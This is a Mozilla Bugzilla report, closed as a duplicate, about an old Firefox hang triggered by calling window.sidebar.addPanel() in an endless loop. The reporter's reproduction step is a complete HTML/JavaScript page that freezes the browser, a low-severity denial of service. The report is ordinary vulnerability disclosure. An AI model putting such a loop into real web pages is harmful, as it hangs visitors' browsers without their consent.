Browser hang calling window.sidebar.addPanel() in a loop

RESOLVED DUPLICATE of bug 338498

Status

()

--
critical
RESOLVED DUPLICATE of bug 338498
13 years ago
13 years ago

People

(Reporter: carst1, Assigned: mrbkap)

Tracking

({hang})

1.8 Branch
x86
Windows XP
Points:
---

Firefox Tracking Flags

(Not tracked)

Details

(Whiteboard: [sg:low dos])

(Reporter)

Description

13 years ago
User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4

Here is a code, which causes Firefox build 20060508, and previous versions to stop responding.
I have checked with other browsers, latest versions of Internet Explorer and Avant, and they don't seem to be affected (except for trying to add a bookmark repeatedly)

Reproducible: Always

Steps to Reproduce:
<html>

<title>Bug</Title>

<body>

<script language="JavaScript1.2" type="text/javascript">

function MainPageBookmark() {title="Bug"; url="http://www.mozilla.com/";

if (window.sidebar) { window.sidebar.addPanel(title, url,"");} else if( window.external )

{ window.external.AddFavorite( url, title); } else if(window.opera && window.print) { return true; }}

for (k=0;k<k+1;k++) MainPageBookmark();

</script>

</body>
Actual Results:  
The browser stops responding.

Expected Results:  
Well, this is kind of a no-brainer ;)

I didn't create this code myself, but as i wish to help you improve Firefox, i thought i might aswell send it to you.
Like the setTimeout() spawn bug this loop escapes the "unresponsive script" detection. I never get any of the addPanel dialogs, it's too busy in the loop to open any of them.

Does it escape detection for the same reason the setTimeout() one does or is something else at work here?
Group: security
Status: UNCONFIRMED → NEW
Component: General → XPConnect
Ever confirmed: true
Keywords: hang
Product: Firefox → Core
Summary: Browser stops responding when loading evil bookmark code → Browser hang calling window.sidebar.addPanel() in a loop
Whiteboard: [sg:low dos]
Version: unspecified → 1.8 Branch
Assignee: nobody → dbradley
QA Contact: general → xpconnect
Not sure about the component here, guessing js-engine but maybe it's DOM.
Assignee: dbradley → mrbkap
Component: XPConnect → JavaScript Engine
QA Contact: xpconnect → general

Comment 3

13 years ago
The code here is exactly the same as the one in bug 338498. I reported this before in bug 301424, which could just as well be made public now.

*** This bug has been marked as a duplicate of 338498 ***
Status: NEW → RESOLVED
Last Resolved: 13 years ago
Resolution: --- → DUPLICATE
You need to log in before you can comment on or make changes to this bug.